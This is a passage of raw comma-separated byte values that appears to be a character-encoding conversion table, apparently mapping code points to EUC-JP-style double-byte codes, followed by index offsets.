0,0,0,0,185,239,173,197,0,0,70,229,0,0,0,0,
178,239,179,239,182,239,71,229,0,0,0,0,72,229,184,239,
73,229,74,229,0,0,192,182,75,229,0,0,187,239,181,239,
76,229,77,229,180,239,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,79,229,80,229,78,229,81,229,82,229,0,0,83,229,
0,0,0,0,0,0,84,229,85,229,191,239,86,229,0,0,
0,0,192,239,87,229,88,229,0,0,0,0,0,0,89,229,
90,229,91,229,193,239,0,0,0,0,190,239,189,239,92,229,
93,229,94,229,226,190,170,198,188,239,0,0,0,0,0,0,
0,0,95,229,0,0,197,239,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,195,239,0,0,0,0,
96,229,97,229,0,0,98,229,99,229,100,229,101,229,196,239,
194,239,0,0,248,194,0,0,198,239,102,229,0,0,104,229,
0,0,103,229,0,0,199,239,0,0,105,229,201,239,106,229,
0,0,0,0,107,229,0,0,108,229,0,0,109,229,0,0,
0,0,0,0,0,0,213,180,200,239,250,204,0,0,110,229,
0,0,0,0,0,0,111,229,212,239,202,239,112,229,0,0,
205,239,113,229,203,239,114,229,204,239,115,229,0,0,0,0,
0,0,0,0,116,229,0,0,206,239,117,229,0,0,118,229,
119,229,120,229,208,239,121,229,122,229,0,0,0,0,209,239,
0,0,210,239,0,0,0,0,0,0,0,0,213,239,211,239,
214,239,216,239,0,0,215,239,0,0,124,229,123,229,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,185,196,125,229,126,229,0,0,0,0,0,0,0,0,
33,230,0,0,231,204,0,0,217,239,174,193,34,230,0,0,
0,0,218,239,35,230,196,202,219,239,171,179,36,230,37,230,
38,230,188,177,0,0,215,180,0,0,214,180,220,239,0,0,
221,239,0,0,222,239,223,239,0,0,0,0,0,0,39,230,
40,230,41,230,224,239,42,230,216,180,213,179,222,185,182,200,
43,230,226,239,225,239,44,230,0,0,45,230,46,230,227,239,
0,0,0,0,0,0,0,0,220,177,0,0,47,230,0,0,
48,230,0,0,0,0,230,239,49,230,229,239,228,239,50,230,
231,239,51,230,0,0,0,0,0,0,234,239,0,0,0,0,
52,230,199,176,53,230,54,230,232,239,55,230,236,239,235,239,
0,0,0,0,56,230,57,230,58,230,59,230,238,239,237,239,
239,239,0,0,174,198,60,230,61,230,0,0,240,239,62,230,
63,230,64,230,65,230,241,239,243,239,0,0,66,230,242,239,
67,230,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,236,201,68,230,
69,230,0,0,0,0,244,239,70,230,0,0,71,230,72,230,
73,230,0,0,245,239,0,0,229,186,0,0,74,230,0,0,
246,239,247,239,0,0,75,230,201,203,76,230,0,0,0,0,
0,0,77,230,78,230,79,230,80,230,203,193,81,230,82,230,
0,0,164,176,203,194,83,230,248,239,0,0,237,201,0,0,
0,0,0,0,0,0,0,0,0,0,251,239,249,239,223,185,
0,0,250,239,194,184,0,0,84,230,0,0,85,230,0,0,
86,230,87,230,88,230,0,0,0,0,197,202,253,239,161,240,
254,239,162,240,0,0,89,230,161,177,216,191,252,189,217,180,
163,240,0,0,0,0,0,0,230,199,0,0,165,240,0,0,
90,230,0,0,162,177,0,0,164,240,196,196,91,230,205,206,
171,198,252,239,166,206,0,0,177,184,92,230,93,230,219,205,
94,230,95,230,0,0,96,230,97,230,98,230,99,230,249,182,
180,206,0,0,168,183,100,230,226,194,161,231,0,0,166,240,
172,179,239,191,0,0,101,230,0,0,0,0,214,179,168,240,
102,230,169,240,167,240,228,183,103,230,221,186,227,190,104,230,
0,0,105,230,163,177,0,0,0,0,217,206,106,230,107,230,
108,230,171,240,174,238,109,230,170,240,0,0,0,0,0,0,
110,230,111,230,174,240,172,240,173,240,112,230,175,240,0,0,
176,240,236,206,177,240,178,240,113,230,201,192,187,200,0,0,
0,0,0,0,253,191,231,180,0,0,0,0,186,205,237,178,
184,189,219,184,0,0,181,240,114,230,180,240,243,187,182,240,
179,240,0,0,0,0,168,187,115,230,0,0,0,0,186,240,
173,234,0,0,117,230,214,210,118,230,247,191,184,240,119,230,
120,230,121,230,0,0,0,0,165,206,241,198,0,0,0,0,
0,0,0,0,171,177,122,230,227,192,182,188,0,0,0,0,
0,0,123,230,183,202,124,230,192,177,0,0,0,0,0,0,
237,206,235,205,0,0,187,240,125,230,197,197,0,0,0,0,
0,0,0,0,251,188,0,0,126,230,33,231,188,240,34,231,
189,240,204,191,190,240,35,231,238,206,0,0,0,0,185,240,
192,240,194,240,0,0,193,240,0,0,191,240,0,0,0,0,
195,240,0,0,0,0,196,240,36,231,37,231,250,193,38,231,
226,178,0,0,0,0,39,231,40,231,41,231,197,240,0,0,
0,0,184,204,42,231,0,0,198,240,0,0,0,0,0,0,
0,0,0,0,199,240,43,231,170,207,44,231,0,0,0,0,
0,0,0,0,177,219,200,240,0,0,0,0,0,0,201,240,
202,240,0,0,0,0,45,231,206,240,46,231,203,240,0,0,
204,240,0,0,205,240,207,240,47,231,0,0,0,0,0,0,
48,231,49,231,0,0,0,0,196,192,0,0,0,0,50,231,
247,204,51,231,52,231,197,192,53,231,54,231,208,240,0,0,
243,200,0,0,209,240,211,243,204,204,55,231,210,240,0,0,
211,240,56,231,212,240,215,179,57,231,214,240,0,0,217,191,
58,231,0,0,0,0,215,240,0,0,59,231,164,183,0,0,
60,231,61,231,62,231,216,240,220,240,63,231,218,240,64,231,
0,0,65,231,66,231,219,240,0,0,0,0,243,179,217,240,
221,240,0,0,0,0,67,231,0,0,222,240,0,0,200,176,
0,0,223,240,224,240,0,0,0,0,0,0,0,0,68,231,
69,231,70,231,228,190,71,231,72,231,0,0,225,240,0,0,
73,231,74,231,199,181,0,0,75,231,228,240,0,0,0,0,
227,240,0,0,226,240,0,0,0,0,241,235,76,231,220,202,
77,231,0,0,0,0,78,231,79,231,229,240,230,240,80,231,
81,231,0,0,82,231,83,231,84,231,0,0,85,231,0,0,
86,231,87,231,0,0,88,231,0,0,231,240,89,231,90,231,
232,240,91,231,233,240,92,231,93,231,234,240,94,231,95,231,
96,231,0,0,97,231,98,231,0,0,218,180,99,231,0,0,
0,0,100,231,101,231,102,231,0,0,106,231,235,240,103,231,
104,231,0,0,105,231,107,231,0,0,0,0,108,231,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,236,240,
163,199,109,231,0,0,110,231,238,240,187,178,111,231,241,240,
240,240,112,231,113,231,0,0,114,231,164,177,0,0,0,0,
0,0,193,182,0,0,199,202,186,196,162,186,0,0,224,185,
231,189,115,231,220,191,0,0,116,231,0,0,243,240,118,231,
119,231,242,240,194,205,232,180,210,200,220,198,120,231,0,0,
121,231,252,191,206,206,117,231,219,183,0,0,122,231,0,0,
123,231,0,0,124,231,246,240,0,0,125,231,245,240,40,232,
126,231,0,0,0,0,0,0,0,0,33,232,203,203,172,198,
34,232,35,232,36,232,0,0,37,232,38,232,208,177,39,232,
0,0,247,240,244,240,0,0,0,0,209,201,234,205,248,240,
41,232,0,0,0,0,0,0,0,0,0,0,42,232,0,0,
249,240,43,232,0,0,0,0,44,232,251,240,234,194,219,179,
220,179,250,240,0,0,45,232,46,232,47,232,233,180,178,184,
48,232,49,232,234,180,50,232,51,232,191,197,0,0,0,0,
224,206,0,0,0,0,0,0,52,232,53,232,0,0,54,232,
55,232,220,184,0,0,0,0,56,232,252,240,57,232,0,0,
0,0,253,240,254,240,161,241,0,0,163,241,162,241,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,247,201,0,0,164,241,58,232,0,0,59,232,
60,232,165,241,61,232,166,241,0,0,0,0,62,232,0,0,
167,241,63,232,64,232,0,0,65,232,66,232,0,0,0,0,
0,0,67,232,0,0,0,0,68,232,169,241,168,241,69,232,
170,241,0,0,70,232,0,0,0,0,0,0,71,232,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,244,200,204,230,0,0,
0,0,169,191,0,0,72,232,178,181,73,232,0,0,74,232,
75,232,76,232,0,0,171,241,77,232,172,241,0,0,172,210,
187,221,211,200,0,0,0,0,251,176,78,232,187,176,0,0,
79,232,0,0,0,0,0,0,0,0,0,0,244,187,176,203,
254,190,0,0,0,0,0,0,80,232,173,241,0,0,223,204,
0,0,81,232,82,232,174,241,220,205,0,0,194,177,0,0,
0,0,0,0,193,187,83,232,175,241,238,178,176,241,84,232,
85,232,86,232,177,241,0,0,87,232,88,232,89,232,179,241,
180,241,90,232,182,241,178,241,91,232,0,0,181,241,0,0,
92,232,93,232,219,180,0,0,0,0,94,232,183,241,0,0,
184,241,0,0,0,0,95,232,96,232,97,232,98,232,99,232,
0,0,0,0,0,0,100,232,101,232,102,232,103,232,185,241,
186,241,0,0,104,232,105,232,187,241,0,0,0,0,189,241,
106,232,107,232,108,232,188,241,0,0,191,241,194,241,109,232,
110,232,0,0,190,241,192,241,193,241,0,0,111,232,195,241,
0,0,194,182,112,232,113,232,0,0,114,232,115,232,0,0,
116,232,117,232,118,232,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
243,188,196,241,197,241,225,185,0,0,119,232,0,0,120,232,
0,0,121,232,0,0,0,0,0,0,0,0,0,0,198,241,
122,232,0,0,190,179,0,0,0,0,0,0,207,199,199,241,
200,241,0,0,123,232,124,232,125,232,218,195,235,198,126,232,
0,0,0,0,0,0,33,233,34,233,0,0,201,241,35,233,
0,0,36,233,0,0,253,199,0,0,37,233,204,194,216,177,
238,182,0,0,239,182,38,233,0,0,0,0,0,0,0,0,
0,0,0,0,243,195,206,241,240,182,39,233,40,233,239,178,
0,0,0,0,205,241,41,233,42,233,203,241,43,233,204,241,
44,233,202,241,0,0,0,0,216,241,0,0,0,0,0,0,
0,0,45,233,0,0,0,0,46,233,47,233,48,233,207,241,
208,241,0,0,49,233,209,241,210,241,0,0,50,233,51,233,
0,0,0,0,212,241,52,233,0,0,211,241,0,0,53,233,
54,233,217,189,0,0,213,241,55,233,56,233,57,233,215,241,
0,0,0,0,0,0,0,0,0,0,58,233,59,233,0,0,
179,181,214,241,60,233,61,233,251,193,179,184,0,0,0,0,
62,233,0,0,0,0,217,241,0,0,0,0,0,0,0,0,
63,233,0,0,64,233,0,0,65,233,66,233,67,233,0,0,
0,0,68,233,205,194,0,0,0,0,218,241,0,0,69,233,
70,233,0,0,173,198,0,0,0,0,71,233,0,0,72,233,
73,233,219,241,74,233,0,0,0,0,0,0,0,0,0,0,
224,241,0,0,222,241,76,233,221,241,223,241,77,233,220,241,
0,0,75,233,0,0,0,0,78,233,79,233,80,233,226,241,
81,233,0,0,0,0,82,233,0,0,0,0,83,233,225,241,
84,233,228,241,0,0,0,0,195,182,227,241,0,0,85,233,
0,0,229,241,0,0,0,0,230,241,0,0,232,241,231,241,
0,0,0,0,0,0,233,241,235,241,234,241,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,252,185,0,0,86,233,0,0,87,233,236,241,
88,233,89,233,237,241,0,0,90,233,0,0,91,233,92,233,
93,233,0,0,188,179,94,233,0,0,95,233,238,241,0,0,
96,233,97,233,239,241,98,233,0,0,99,233,241,191,0,0,
100,233,0,0,101,233,0,0,0,0,0,0,0,0,0,0,
102,233,240,241,103,233,241,241,104,233,242,241,243,241,105,233,
106,233,107,233,226,185,0,0,0,0,108,233,109,233,0,0,
244,241,245,241,110,233,0,0,246,241,247,241,111,233,112,233,
248,241,113,233,0,0,114,233,177,200,250,241,115,233,166,201,
251,241,249,241,0,0,253,241,116,233,117,233,252,241,118,233,
0,0,254,241,0,0,119,233,120,233,161,242,0,0,121,233,
0,0,122,233,123,233,124,233,125,233,126,233,33,234,34,234,
162,242,0,0,35,234,36,234,0,0,37,234,38,234,39,234,
40,234,0,0,41,234,0,0,42,234,0,0,0,0,0,0,
43,234,0,0,163,242,44,234,164,242,45,234,46,234,0,0,
0,0,165,242,47,234,0,0,166,242,167,242,0,0,168,242,
48,234,169,242,170,242,171,242,172,242,49,234,0,0,50,234,
173,242,174,242,0,0,181,221,175,242,51,234,52,234,53,234,
0,0,54,234,0,0,55,234,56,234,248,228,180,181,57,234,
0,0,0,0,0,0,161,179,178,186,177,242,176,242,165,204,
0,0,0,0,58,234,0,0,0,0,59,234,60,234,179,242,
180,242,178,242,0,0,181,242,0,0,0,0,226,203,61,234,
62,234,63,234,182,242,0,0,251,181,64,234,0,0,0,0,
65,234,0,0,0,0,66,234,0,0,67,234,0,0,68,234,
69,234,0,0,70,234,0,0,71,234,72,234,73,234,74,234,
75,234,165,207,0,0,0,0,0,0,76,234,183,242,77,234,
0,0,78,234,79,234,80,234,0,0,0,0,0,0,0,0,
0,0,81,234,82,234,0,0,0,0,185,242,83,234,84,234,
85,234,86,234,0,0,87,234,88,234,89,234,0,0,90,234,
190,176,91,234,92,234,186,242,171,202,184,242,93,234,0,0,
187,242,188,242,0,0,0,0,94,234,0,0,0,0,95,234,
96,234,189,242,190,242,0,0,0,0,0,0,0,0,0,0,
97,234,98,234,191,242,99,234,238,203,173,187,100,234,250,186,
175,193,0,0,101,234,102,234,103,234,0,0,192,242,0,0,
0,0,104,234,105,234,195,242,0,0,106,234,107,234,0,0,
108,234,109,234,193,242,110,234,0,0,0,0,0,0,0,0,
196,242,111,234,112,234,241,184,194,242,0,0,0,0,0,0,
113,234,197,242,114,234,198,242,199,242,0,0,203,242,0,0,
170,187,115,234,116,234,0,0,0,0,228,194,0,0,117,234,
0,0,118,234,0,0,204,242,201,242,200,242,202,242,119,234,
0,0,120,234,223,183,0,0,121,234,122,234,0,0,0,0,
0,0,123,234,208,242,207,242,206,242,124,234,0,0,179,176,
0,0,125,234,126,234,33,235,34,235,0,0,0,0,35,235,
0,0,36,235,37,235,0,0,38,235,0,0,218,242,0,0,
214,242,0,0,215,242,211,242,217,242,39,235,213,242,226,179,
0,0,40,235,204,207,41,235,216,242,212,242,210,242,209,242,
42,235,0,0,43,235,44,235,45,235,220,242,46,235,0,0,
47,235,0,0,0,0,223,242,48,235,49,235,222,242,221,242,
50,235,51,235,52,235,53,235,54,235,0,0,0,0,201,201,
219,242,243,176,224,242,55,235,226,242,0,0,0,0,56,235,
57,235,58,235,0,0,239,179,205,242,183,177,0,0,59,235,
228,242,0,0,0,0,60,235,0,0,61,235,62,235,63,235,
227,242,225,242,173,195,64,235,65,235,0,0,0,0,0,0,
66,235,67,235,68,235,0,0,240,203,69,235,70,235,0,0,
71,235,218,206,72,235,0,0,229,242,73,235,80,235,74,235,
75,235,76,235,230,242,0,0,0,0,77,235,0,0,0,0,
0,0,231,242,82,235,78,235,79,235,81,235,0,0,0,0,
83,235,0,0,84,235,0,0,85,235,0,0,0,0,86,235,
232,242,87,235,233,242,0,0,0,0,88,235,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,187,196,
89,235,234,242,0,0,183,200,0,0,239,242,235,242,0,0,
0,0,0,0,236,242,0,0,90,235,177,203,196,204,0,0,
208,198,91,235,0,0,92,235,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,94,235,240,242,0,0,0,0,
241,242,190,198,238,242,237,242,0,0,93,235,0,0,0,0,
170,178,0,0,0,0,95,235,249,242,0,0,0,0,248,242,
0,0,96,235,97,235,0,0,0,0,245,177,98,235,99,235,
100,235,246,242,0,0,0,0,0,0,245,242,0,0,0,0,
243,242,0,0,251,179,0,0,242,242,178,188,169,178,0,0,
0,0,101,235,102,235,0,0,103,235,104,235,105,235,0,0,
0,0,0,0,0,0,0,0,106,235,227,185,107,235,109,235,
252,242,251,242,0,0,250,242,110,235,111,235,247,242,108,235,
253,242,112,235,254,242,0,0,113,235,0,0,0,0,0,0,
0,0,0,0,165,243,164,243,0,0,114,235,115,235,0,0,
0,0,0,0,0,0,166,243,0,0,0,0,173,177,161,243,
162,243,116,235,244,185,185,204,118,235,117,235,163,243,119,235,
0,0,0,0,0,0,120,235,121,235,122,235,178,203,0,0,
0,0,171,243,123,235,0,0,167,243,0,0,0,0,0,0,
124,235,125,235,0,0,0,0,172,243,126,235,33,236,0,0,
34,236,0,0,0,0,0,0,0,0,35,236,36,236,0,0,
37,236,169,243,0,0,168,243,38,236,0,0,0,0,39,236,
40,236,220,183,0,0,0,0,41,236,42,236,0,0,43,236,
44,236,45,236,46,236,0,0,173,243,0,0,0,0,0,0,
0,0,0,0,0,0,47,236,0,0,0,0,174,243,0,0,
0,0,0,0,0,0,175,243,48,236,170,243,49,236,0,0,
50,236,244,242,0,0,51,236,176,243,0,0,225,196,52,236,
0,0,0,0,180,243,53,236,181,243,179,243,54,236,0,0,
0,0,55,236,0,0,178,243,184,243,56,236,177,243,0,0,
182,243,57,236,0,0,58,236,59,236,0,0,0,0,0,0,
0,0,183,243,0,0,0,0,0,0,186,243,60,236,61,236,
62,236,63,236,0,0,185,243,64,236,0,0,0,0,0,0,
65,236,66,236,67,236,0,0,0,0,0,0,0,0,68,236,
188,243,69,236,0,0,70,236,0,0,71,236,0,0,189,243,
72,236,190,243,73,236,0,0,201,207,74,236,75,236,0,0,
0,0,0,0,187,243,235,194,237,186,0,0,0,0,191,243,
76,236,0,0,0,0,0,0,78,236,0,0,0,0,0,0,
0,0,79,236,0,0,0,0,77,236,0,0,0,0,0,0,
80,236,0,0,81,236,82,236,83,236,0,0,0,0,84,236,
85,236,0,0,0,0,86,236,192,243,193,243,87,236,88,236,
194,243,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,195,243,
0,0,0,0,180,184,196,243,89,236,90,236,91,236,197,243,
0,0,175,188,92,236,198,243,93,236,94,236,95,236,96,236,
0,0,97,236,199,243,0,0,0,0,200,243,201,243,0,0,
98,236,99,236,0,0,204,243,202,243,188,207,0,0,203,243,
100,236,239,206,101,236,0,0,0,0,102,236,0,0,205,243,
103,236,219,206,0,0,0,0,0,0,0,0,104,236,206,243,
254,199,0,0,105,236,207,243,209,243,0,0,106,236,210,243,
107,236,108,236,109,236,0,0,0,0,110,236,111,236,112,236,
0,0,0,0,208,243,237,185,205,204,227,203,247,214,0,0,
224,221,251,203,0,0,0,0,0,0,0,0,171,178,0,0,
113,236,0,0,114,236,0,0,0,0,115,236,212,243,208,181,
213,243,214,243,215,243,0,0,245,185,0,0,216,243,116,236,
0,0,0,0,212,224,219,204,0,0,227,194,217,243,219,243,
218,243,117,236,220,243,0,0,0,0,0,0,118,236,221,243,
0,0,119,236,222,243,0,0,0,0,0,0,120,236,121,236,
122,236,223,243,123,236,124,236,125,236,0,0,224,243,126,236,
225,243,226,243,33,237,227,243,0,0,228,243,229,243,230,243,
0,0,34,237,0,0,0,0,35,237,36,237,0,0,0,0,
0,0,231,243,232,243,37,237,0,0,0,0,0,0,0,0,
164,197,38,237,39,237,40,237,41,237,221,184,42,237,234,243,
43,237,44,237,0,0,45,237,46,237,47,237,0,0,0,0,
0,0,48,237,205,193,235,243,49,237,0,0,0,0,0,0,
50,237,0,0,0,0,0,0,51,237,52,237,236,243,0,0,
0,0,53,237,0,0,54,237,55,237,0,0,56,237,0,0,
0,0,57,237,0,0,58,237,59,237,161,201,60,237,61,237,
237,243,62,237,0,0,63,237,0,0,64,237,65,237,66,237,
67,237,68,237,0,0,0,0,238,243,183,227,0,0,0,0,
218,236,237,240,0,0,0,0,239,243,69,237,240,243,70,237,
71,237,72,237,73,237,0,0,74,237,0,0,0,0,75,237,
76,237,242,243,243,243,244,243,240,206,241,243,0,0,0,0,
245,243,246,243,77,237,78,237,248,243,0,0,247,243,79,237,
80,237,81,237,82,237,83,237,250,243,84,237,0,0,85,237,
251,243,249,243,0,0,0,0,86,237,0,0,0,0,87,237,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,182,206,
0,0,88,237,89,237,90,237,91,237,0,0,92,237,252,243,
93,237,94,237,0,0,0,0,0,0,0,0,253,243,212,227,
95,237,0,0,254,243,96,237,97,237,98,237,0,0,99,237,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,170,161,0,0,244,161,240,161,243,161,
245,161,0,0,202,161,203,161,246,161,220,161,164,161,0,0,
165,161,191,161,176,163,177,163,178,163,179,163,180,163,181,163,
182,163,183,163,184,163,185,163,167,161,168,161,227,161,225,161,
228,161,169,161,247,161,193,163,194,163,195,163,196,163,197,163,
198,163,199,163,200,163,201,163,202,163,203,163,204,163,205,163,
206,163,207,163,208,163,209,163,210,163,211,163,212,163,213,163,
214,163,215,163,216,163,217,163,218,163,206,161,192,161,207,161,
176,161,178,161,174,161,225,163,226,163,227,163,228,163,229,163,
230,163,231,163,232,163,233,163,234,163,235,163,236,163,237,163,
238,163,239,163,240,163,241,163,242,163,243,163,244,163,245,163,
246,163,247,163,248,163,249,163,250,163,208,161,195,161,209,161,
55,162,0,0,0,0,161,142,162,142,163,142,164,142,165,142,
166,142,167,142,168,142,169,142,170,142,171,142,172,142,173,142,
174,142,175,142,176,142,177,142,178,142,179,142,180,142,181,142,
182,142,183,142,184,142,185,142,186,142,187,142,188,142,189,142,
190,142,191,142,192,142,193,142,194,142,195,142,196,142,197,142,
198,142,199,142,200,142,201,142,202,142,203,142,204,142,205,142,
206,142,207,142,208,142,209,142,210,142,211,142,212,142,213,142,
214,142,215,142,216,142,217,142,218,142,219,142,220,142,221,142,
222,142,223,142,241,161,242,161,204,162,177,161,0,0,239,161,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,64,0,128,0,192,0,0,1,64,1,128,1,
0,0,192,1,0,0,0,0,0,0,0,2,0,0,0,0,
64,2,128,2,192,2,0,3,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,48,3,0,0,0,0,0,0,112,3,0,0,
160,3,208,3,16,4,80,4,144,4,0,0,192,4,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,5,64,5,
96,5,160,5,224,5,32,6,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,96,6,160,6,224,6,32,7,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,96,7,160,7,224,7,32,8,96,8,160,8,
224,8,32,9,96,9,160,9,224,9,32,10,96,10,160,10,
224,10,32,11,96,11,160,11,224,11,32,12,96,12,160,12,
224,12,32,13,96,13,160,13,224,13,32,14,96,14,160,14,
224,14,32,15,96,15,160,15,224,15,32,16,96,16,160,16,
224,16,32,17,96,17,160,17,224,17,32,18,96,18,160,18,
224,18,32,19,96,19,160,19,224,19,32,20,96,20,160,20,
224,20,32,21,96,21,160,21,224,21,32,22,96,22,160,22,
224,22,32,23,96,23,160,23,224,23,32,24,96,24,160,24,
224,24,32,25,96,25,160,25,224,25,32,26,96,26,160,26,
224,26,32,27,96,27,160,27,224,27,32,28,96,28,160,28,
224,28,32,29,96,29,160,29,224,29,32,30,96,30,160,30,
224,30,32,31,96,31,160,31,224,31,32,32,96,32,160,32,
224,32,32,33,96,33,160,33,224,33,32,34,96,34,160,34,
224,34,32,35,96,35,160,35,224,35,32,36,96,36,160,36,
224,36,32,37,96,37,160,37,224,37,32,38,96,38,160,38,
224,38,32,39,96,39,160,39,224,39,32,40,96,40,160,40,
224,40,32,41,96,41,160,41,224,41,32,42,96,42,160,42,
224,42,32,43,96,43,160,43,224,43,32,44,96,44,160,44,
224,44,32,45,96,45,160,45,224,45,32,46,96,46,160,46,
224,46,32,47,96,47,160,47,224,47,32,48,96,48,160,48,
224,48,32,49,96,49,160,49,224,49,32,50,96,50,160,50,
224,50,32,51,96,51,160,51,224,51,32,52,96,52,160,52,
224,52,32,53,96,53,160,53,224,53,32,54,96,54,160,54,
224,54,32,55,96,55,160,55,224,55,0,0,0,56,64,56,
128,56,192,56,0,57,64,57,128,57,192,57,0,58,64,58,
128,58,192,58,0,59,64,59,128,59,192,59,0,60,64,60,
128,60,192,60,0,61,64,61,128,61,192,61,0,62,64,62,
128,62,192,62,0,63,64,63,128,63,192,63,0,64,64,64,
128,64,192,64,0,65,64,65,128,65,192,65,0,66,64,66,
128,66,192,66,0,67,64,67,128,67,192,67,0,68,64,68,
128,68,0,0,160,68,224,68,32,69,96,69,160,69,192,69,
0,70,64,70,128,70,192,70,0,71,64,71,128,71,192,71,
240,71,48,72,112,72,176,72,240,72,48,73,112,73,176,73,
240,73,48,74,112,74,176,74,240,74,48,75,112,75,176,75,
240,75,48,76,112,76,176,76,240,76,0,0,0,0,0,77,
64,77,128,77,176,77,240,77,48,78,112,78,176,78,240,78,
48,79,112,79,176,79,240,79,48,80,112,80,176,80,240,80,
32,81,96,81,160,81,224,81,16,82,80,82,144,82,208,82,
16,83,80,83,144,83,208,83,0,0,16,84,80,84,144,84,
208,84,16,85,80,85,112,85,176,85,240,85,48,86,112,86,
176,86,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
